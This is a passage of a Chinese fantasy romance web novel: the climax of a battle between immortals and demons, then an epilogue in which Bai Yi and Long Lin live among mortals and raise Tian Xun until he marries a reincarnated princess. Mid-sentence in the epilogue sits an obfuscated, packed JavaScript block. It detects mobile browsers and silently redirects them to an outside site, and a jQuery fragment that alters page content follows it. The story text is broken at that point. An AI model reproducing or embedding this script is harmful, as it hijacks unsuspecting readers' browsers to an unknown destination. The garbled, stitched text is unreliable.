天帝的剑光如银河倾泻,每一道都带着摧山断海之势。白珣的魔气化作万千鬼手,从地底裂隙中咆哮而出。两股力量相撞的瞬间,整个往生河的水都被震得冲天而起,又在半空凝成血色的冰晶簌簌落下。 旁人根本插手不进半分。 静竹就是在这时挣脱了藤笼。 她像片残破的白羽,令所有人都没想到地挡在白珣身前。天帝那道本该洞穿魔尊心口的金光,就这么没入了她的后背。 鲜血喷溅在白珣脸上时,他的瞳孔骤然紧缩。 而就在这瞬息之间,白珣的魔爪也已经穿透了天帝的胸膛。 两败俱伤。 静竹缓缓滑落,被白珣接在臂弯里。她的手指颤抖着抚上白珣的脸,指尖的血在他苍白的皮肤上拖出长长的红痕,气息微弱:“你真的......好恨......连一句解释......都不肯听......” “终是我对不起你,所以只能以命偿命了,结束吧。” 白珣说:“不是的……” 当初白珣被众仙围剿时,静竹也被几位仙官团团围住。他们身着素白道袍,手持玉简,口中念念有词地告诉她,身为神女,大道在前,不该为儿女情长所困。 天帝冷眼看着静竹:“你被妖物所惑。” 静竹让他们滚开。 那些仙官便在她耳边颂念经书,强行灌下忘情水。白珣同人厮杀了多久,他们就将她困了多久。静竹捂住头颅尖叫,发髻散乱,珠钗坠地,那支翎凤钗也不知落在哪里了:“我不是神女!不是!” 可当她再次睁眼时,眸中只剩一片空洞。 她忘了与白珣的一切,脑海中只剩下一个执念,妖族当诛。 那场神女劫,她终究没能渡过。修为停滞在瓶颈,再难寸进。后来君父命她修习清心道,只为压制心底翻涌的杀意。 静竹曾无数次思索缘由,可所有人都只说她渡劫失败,只等下一场劫数。 记忆像被生生剜去一块,怎么都想不起关键。 而龙霖得授上神传承时,竟未曾经历天劫,这因果轮回,迟早要还。于是出于好奇,她随龙霖他们一同下了界,司命拿着命薄看着她欲言又止,说公主不如体验一下情劫。 初见白亦时,静竹恍惚,不知何时她好像见过与他相似的眉眼。 可再细想,只觉得难受。 静竹在白珣臂弯里缓缓阖眼,唇角凝着血珠,却终究没给天帝留只言片语。 往生河的水汽漫上来,打湿了她散落的发丝,已没了气息,天帝缓缓跪倒在地。 这场震动三界的仙魔之战,最终带走的不仅是天帝的性命和他唯一的女儿,当硝烟散尽,河畔横陈的尸骸中,还有白亦再也唤不醒的兄长。 龙霖的手掌覆上白亦的双眼,他能感觉到掌下的肌肤在发烫,泪水浸透了他的指纹,却怎么也止不住那决堤般的悲伤。 河风卷着血腥味掠过,龙霖将人往怀里按得更紧了些,却说不出一句安慰的话,此刻任何言语都是徒劳。 28.又一春[番外] 又是一年春。 白亦蹲在院子里,指尖泛着莹莹青光,轻轻点在芍药幼苗的嫩芽上。那株幼苗像是被注入了生命般,颤巍巍地舒展开叶片,一寸寸拔高,直到顶端冒出个青白的花苞。 他舀起一捧清水浇下,刹那间整个院子的花都像是得了号令,次第绽放,连空气都浸透了甜香。 推开吱呀作响的木门时,对面田员外家正热闹非凡。 那老员外昨日新得了儿子,一大早就在门口放了两串震天响的鞭炮,炸得满地红纸屑。年过半百的人笑得见牙不见眼,挨家挨户地送红鸡蛋,白亦也得了一份。 鸡蛋壳染得通红,在晨光里亮得晃眼。 “白大夫,今日喜得麟儿,多亏了您的保胎方子。”田员外搓着手,眼角堆起的笑纹里都漾着喜气,“若不是您那几副药,我家夫人哪能这般顺当?小儿百日宴,您可千万要来。” 白亦唇角微扬:“田员外言重了,是您平日里积德行善,福泽深厚。” 他拱手时腕间的有龙纹的银镯滑落半寸,在阳光下泛着光:“在下恭喜田员外,贺喜田员外。” 对面那人顿时笑开了花,倒比院里那丛刚浇过水的芍药还要鲜活几分。 百日宴那日,田府张灯结彩,连门前的石狮都系了红绸。城中显贵济济一堂,连带着把白亦和龙霖也请了去。 田夫人抱着裹在锦缎里的婴孩过来,说罢要递给白亦抱抱。 小家伙咂着嘴,拳头攥得紧紧。 白亦慌忙摆手:“夫人使不得,我可不会抱孩子。” 田夫人却不由分说地将襁褓塞进他怀里。 白亦顿时僵在原地,手臂保持着别扭的弧度,生怕多用一分力。 那婴孩在他臂弯里扭了扭,忽然睁着乌溜溜的眼睛直勾勾盯着他看。 “瞧瞧,这孩子与白大夫有缘呢。”田夫人笑了笑,促狭地眨眨眼,“方才在奶娘怀里还哭闹不休,到你这儿倒安生了,不如今日就认个干亲吧?” 白亦:“......啊?” “逗你的。”田夫人突然笑出声,帕子掩着唇角,“白大夫这般年轻俊俏,当什么干爹呀,该叫哥哥才是。” 白亦耳朵红红,目光落在怀中婴孩粉嫩的脸蛋上,眉眼不自觉地柔和下来。 白亦送的礼是一枚长命锁,那红绳鲜艳得像团小小的火苗。 抓周的红绸布上摆满各式物件,那小娃娃咿咿呀呀地扑腾,肉乎乎的小手竟一把抓住了柄桃木剑,攥得死紧。 “小公子将来怕是要当大将军的。”周围宾客笑着打趣,觥筹交错间满是恭维之词。 田珣这名字是田老太爷翻烂了典籍取的。“珣”字取自美玉,老人家盼着孙儿能如玉般温润高洁。 白亦听着满堂贺喜声,看着那婴孩,轻声说你可要平安长大,一生顺遂才好。 三年前,白亦在这座小城落了脚,开了间不起眼的药铺。 铺面不大,穷苦人来得多,白亦为人温和,开的方子也挑最便宜的药材配,有时候甚至自己贴钱给人治病,因为很受百姓爱戴。 这日上山采药归来,天色忽变。 春雨来得急,细密的雨丝转眼就织成帘幕。 白亦小跑着躲进处废弃的屋檐下,拧着湿透的袖口直皱眉。布料吸饱了水,沉甸甸地坠在腕间,凉意顺着皮肤往骨头缝里钻。 他望着灰蒙蒙的天叹了口气,这雨,怕是一时半刻停不了。 忽然,头顶的光线暗了下来。 白亦抬头,对上一双沉静的眼睛。玄衣男子不知何时立在眼前,负手的身影将风雨隔开大半。 “雨天路滑。”那人声音比雨声还清冽,“这雨一时半刻停不了。在下可否送公子一程?” 雨点砸在瓦片上,噼啪作响。 那人却已经伸手接过他背上的药笼,竹编的笼子挂在此人高大的身影上,莫名显出几分笨拙的可爱。雨水顺着笼缝滴落,在那人玄色衣摆上洇开深色的痕迹。 龙霖撑起伞,他的声音混在雨声里,低沉又清晰:“走吧。” 白亦往伞下挪了半步,油纸伞不算大,两人不得不挨得近些。脚步踩在湿漉漉的青石板上,溅起细小的水花,走得比往常都慢。 “你怎么下来了,”白亦盯着路面,“不在九重天上做你的逍遥神仙。” 龙霖伞面微微向白亦倾斜:“动了凡心的人,怎么做得好神仙?” 白亦眨了眨眼:“事情都处理好了?” “嗯。”龙霖带着释然,“天帝的位置谁爱坐谁坐,往生河下了封印,诸天神佛都在诵经超度。仙妖之间的仇怨,已经了结了。” 白亦忽然说不出话,就在这时,他的手指突然被握住了,那只手很暖,将他冰凉的指尖整个包住。 回到白亦的小院时,雨已经停了。 青石板上积着水洼,映出支离破碎的天光。 木门突然“吱呀”一声,冒出个毛茸茸的小脑袋。田珣扒着门框,眼睛瞪得溜圆:“白哥哥,这是谁呀?” 那孩子像只嗅到鱼腥的猫,一溜烟窜到龙霖跟前。他不怕生,踮着脚,脑袋仰得老高,恨不得把眼前这个陌生人看出个洞来。龙霖眉头一皱,突然伸手揪住小孩的后领,像提小猫似的把人拎到半空。 “这就是他?”龙霖转头看向白亦,话里带着说不清的意味。 田珣在半空中扑腾,小短腿使劲蹬着,却连龙霖的衣角都碰不着。 白亦扶额叹气:“.....龙霖,你做什么?快放他下来。” 龙霖松手的瞬间,田珣一屁股坐在地上。小孩懵懵地坐在原地,裤子上晕开深色的水痕。 白亦赶紧弯腰把小家伙拽起来,手指拂过他沾了泥水的衣摆,轻轻拍打几下:“摔疼了没有?” 田珣鼓着腮帮子,乌溜溜的眼睛瞪得滚圆,短胖的手指直指龙霖,他气得跺脚:“我以前最讨厌夫子!现在最讨厌你!" 龙霖眉梢微挑,唇角勾起一抹似笑非笑的弧度:“哦?是吗?” 结果没过几日,龙霖就成了田珣的新夫子。 凡间的日子过得平静,龙霖觉得挺好。 就是田家这小崽子实在烦人,明明自己家有热炕软枕,偏要天天往他们院里钻。更可气的是这小子脑袋像块榆木疙瘩,三字经背了半月还磕磕绊绊。龙霖盯着那张与前尘故人七分相似的脸,怎么也想不通,除了这副皮囊,哪还有半点相像之处? 倒是白亦真把这孩子当亲生的养,不仅由着他胡闹,还时常护着。有次田珣背不出书,白亦竟还帮着求情。 “因为他是田珣。”白亦倒是想得开,他整理药材时突然开口,指尖捻着一片晒干的当归,“不是白珣。” 龙霖正在研磨药粉的手顿了顿,石杵在钵底发出清脆的碰撞声。他抬头望向不远处田珣正蹲在院子里逗蚂蚁,阳光落在他发顶,映出毛茸茸的金边。 半晌,龙霖轻轻“嗯”了一声。 是啊,这孩子身上融着白珣七分精魄,却终究只是个懵懂无知的凡人孩童。 那日花灯节,满城火树银花。 龙霖特意租了艘画舫,舫上悬着琉璃灯,映得河水都泛着粼粼彩光。谁知刚解缆绳,船尾就冒出个脑袋,这田小少爷不知何时偷摸爬了上来,还理直气壮地拽着白亦的衣角不放。 龙霖额角青筋直跳,盯着那张稚嫩的脸,硬是把“扔你下河”四个字咽了回去。 于是独属于两人的风花雪月没了,倒是没见过世面的一惊一乍时不时响起。 下船时人潮汹涌,一转眼的功夫那小崽子就不见了踪影。 白亦急得脸色发白,两人分头寻了半条街。等龙霖找到他们时,田珣正趴在白亦背上,膝盖擦破了一大块,血丝混着灰土糊在伤口周围。奇怪的是这孩子竟没哭,只是死死攥着白亦肩头的布料。 “听说这城里专拐你这么大的孩子,”龙霖故意道,“卖到黑煤窑里天天挨鞭子。” 他斜睨着田珣腿上的伤:“就你这样的,怕是连三天都撑不过。” 田珣立刻梗着脖子反驳:“我又不是三岁小孩!少吓唬人!” “是,”龙霖冷笑,“你不是三岁,你四岁。” 白亦被这一大一小吵得头疼,突然停下脚步:“好烦,都闭嘴。” 田珣悄悄做了个鬼脸,龙霖瞥见,伸手就要去揪他耳朵。 龙霖伸手示意把田珣换到自己背上,谁知小家伙立刻像八爪鱼似的缠住白亦的脖子:“才不要!你是大魔王!” 白亦无奈道:“大魔王?” 他转头看向龙霖面无表情的脸,为其正名:“你们怎么能给先生取这种......严重不符合气质的绰号呢?” 田珣急忙摇头:“不是我起的!是柳家那个小胖子说的,说龙先生凶得要命,抽查功课还会打手心。” 说着还夸张地甩了甩自己的小胖手:“啪!可疼了!” 田珣说完又把脸埋进白亦颈窝蹭了蹭:“我还是最喜欢白哥哥了,从来不发火。” 龙霖冷哼一声,袖中的手指动了动,忍住了弹这小崽子脑门的冲动。 巷子里三人的影子叠在一起。 田珣突然小声嘟囔:“白哥哥的背,和我娘亲一样暖和......娘亲也是这么背我的。” 白亦缓缓开口说:“我没有娘亲,不过......以前我哥哥也这样背过我。” “白哥哥的哥哥呢?”田珣歪着头,“我怎么从来没见过?” “他啊......去了很远的地方。” 田珣:“那你们是不是再也见不到了?” “怎么会。”白亦突然笑起来,眼角弯成温柔的弧度,“只要还活着,总有一天能再见的。” 白亦替田珣包扎好膝盖上的擦伤,正准备送这小祖宗回家。田珣却突然拽住龙霖的衣袖,仰着小脸认真道:“你是不是要跟我白哥哥成亲?我今天看见你在船上亲白哥哥了,我娘说只有成了亲才能亲亲。” 白亦手指一颤,差点打翻手边的药瓶。耳根腾地烧了起来,正要开口,就听见龙霖慢悠悠道:“什么你白哥哥,”他伸手将白亦往怀里一带,“明明是我的。” 田珣顿时炸了毛,嚷嚷出声:“大魔王,我讨厌你!” 闻讯赶来的田夫人一把抄起儿子。田夫人一手捂着儿子的嘴,一边尴尬地朝两人赔笑:“这臭小子,净胡说八道!” 她胳膊底下夹着的田珣还在扑腾,含糊不清地喊着“大魔王我讨厌你”,混着田夫人的训斥声渐渐消失在巷子尽头。 春去冬来,转眼田珣已长成十六岁的少年郎。田员外望子成龙的念想还是破碎了,这孩子从小一见书本就犯困,反倒对刀枪棍棒爱不释手。 这日白亦正躺在院中藤椅上看书,阳光透过葡萄架在他衣襟上投下斑驳的光影。 这些年龙霖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15734470|168679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日日教他识字,如今不光是话本,其他的书也能顺畅读下来。 龙霖挽着袖子在杀鸡,麻绳突然被挣断,那只花公鸡扑棱着翅膀满院乱窜。两人追得衣袂翻飞,白亦终于不耐烦地掐诀定住那畜生。 “不是说不能随便用法术?”龙霖拎着鸡翅膀挑眉。 白亦掸了掸衣袖:“自己家又没人瞧见——” 话音未落,墙头突然冒出个脑袋。田珣不知趴在那儿看了多久。白亦刚要开口,少年已经利落地翻进院子,包袱往地上一扔,眼睛亮得像淬了火的星子:“哥!我要闯荡江湖去了!” 龙霖眉头骤然拧紧:“你说你去干什么?” 田珣包袱在肩头晃荡:“闯荡江湖啊,我刚才可都看见了,我哥手这么一挥。” 他模仿着白亦掐诀的动作。 白亦张了张嘴:“我没......” “别骗人啦!”田珣大笑着后退,“我早就发现了,我哥那么一挥手,花全开了。” 他转身时衣袂翻飞,像只终于挣开笼子的雏鹰:“我可是专门来跟你们说再见的,再见!神仙哥哥!” 木门“吱呀”一声被推开时,巷子里很快早已空无一人。只有几片落叶打着旋儿,跑得简直比兔子还快。 身后传来布料摩擦的声响。龙霖解下沾着鸡血的围裙:“追吗?” 他眼神却已经锁定了巷子尽头某个方向。 白亦瞧着他那副眉头紧锁的模样,伸手戳了戳龙霖绷紧的下颌。突然笑出了声:“追什么追?杀你的鸡去,今晚我要喝炖鸡汤。” 龙霖皱眉:“他才十六,那点三脚猫功夫连只山鸡都逮不住,从小到大没出过城门,还去闯荡江湖?白亦,你心也太大了吧。” “你不是最讨厌他了吗?” 龙霖猛地别过脸:“对,我讨厌死那小崽子了。” 白亦环住他的腰,下巴抵在他温热的胸口上:“我们管不了他一辈子的,龙霖,你要是当爹,还是相当不错的。” “你真是有颗老父亲般操不完的心,不如我们回狐谷养个狐狸崽子给你解解闷吧。” 龙霖沉默了很久:“......你不喜欢龙?” 白亦怔了怔:“谁说我不喜欢?只是你们真龙一族不是金贵得很,肯将幼崽给外人养么?” 龙霖突然道:“龙性本淫,处处留情,族里早有打算让我过继一个过来。” 白亦突然道:“你说若我要是个姑娘,是不是都能给你生好多个小龙了。” 龙霖突然道:“试试?” “试什么?” “生小龙。” 白亦:“…………” * 七年后,京城的茶楼酒肆都在传一桩喜事,陛下将最宠爱的三公主许给了刚凯旋的田将军。 那田珣是从最底层的虎头兵做起,刀尖舔血挣来的功名。铠甲上的每一道划痕都是实打实的军功,年纪轻轻就坐稳了统帅之位,连敌国的降书都是他亲手接的。 三公主的婚事向来是朝野关注的焦点。这些年求亲的王孙公子能排满朱雀大街,偏生这位殿下也是个奇女子,能挽弓射雁,也能提笔赋诗,谁都看不上。 那年皇家围猎,不知怎的御马突然发狂,眼瞧着就要把三公主甩下悬崖。千钧一发之际,是田珣纵马飞驰而过,铁臂一揽将人捞回自己马上。 那惊鸿一瞥后,三公主的芳心便系在了这位年轻将军身上。 恰逢边境烽烟骤起,敌国铁骑压境,田珣临行前在宫门外立下誓言,若能活着回来,必以八抬大轿迎娶公主。 如今凯旋的队伍还未散尽战场的铁血气息,红绸就已经铺满了朱雀大街。 迎亲的仪仗浩浩荡荡,田珣身着大红喜袍端坐马上,眉宇间的肃杀之气被喜乐冲淡了几分。 街道两旁的人群喧嚷如潮,有女子踮着脚往车驾里扔花瓣,被侍卫笑着拦下。 公主的鸾驾缀满明珠,帘幕低垂,隐约可见里头端坐的身影。田珣回首望去时,恰有风吹起轿帘一角,露出三公主攥着却扇的指尖。 白亦和龙霖坐在二楼,底下迎亲的队伍正经过,锣鼓声震得檐角铜铃叮当作响。他忽然抬手,那风灵巧地钻入公主鸾驾,轻轻掀起盖头的一角薄纱。 纱帘翻飞的刹那,露出轿中那张脸,明眸皓齿,高贵清冷,今日因是大婚,无端多出了些柔软缱绻,与记忆中那个静竹重叠得分毫不差。 “还真是……”白亦低笑一声,仰头饮尽杯中酒,“人生何处不相逢。” 田珣骑在披红挂彩的马上,心头似有所感,下意识回头望向街边酒楼的雕花轩窗,方才还大敞的窗口,此刻只剩一袭微微晃动的竹帘,仿佛从未有人在那里驻足。 “将军看什么呢?”副将凑近询问,顺着他的视线只看到空荡荡的窗棂。 田珣收回目光,唇角扬起一抹说不清是怅然还是释然的笑:“这样好的日子,缺了两位最该在的人,也是一种遗憾,罢了,回府拜堂去!” 远处的喜乐声渐行渐远,酒楼屋顶上,两道身影并肩而立。 “他们这样......”白亦望着逐渐消失在长街尽头的迎亲队伍,“也算另一种圆满吧。” 龙霖没有答话,只是伸手替他拢了拢被风吹乱的领口。 夕阳将两人的影子拉得很长,斜斜地映在黛瓦上,与满城喜庆的红绸融在一处。 又是一年春好处。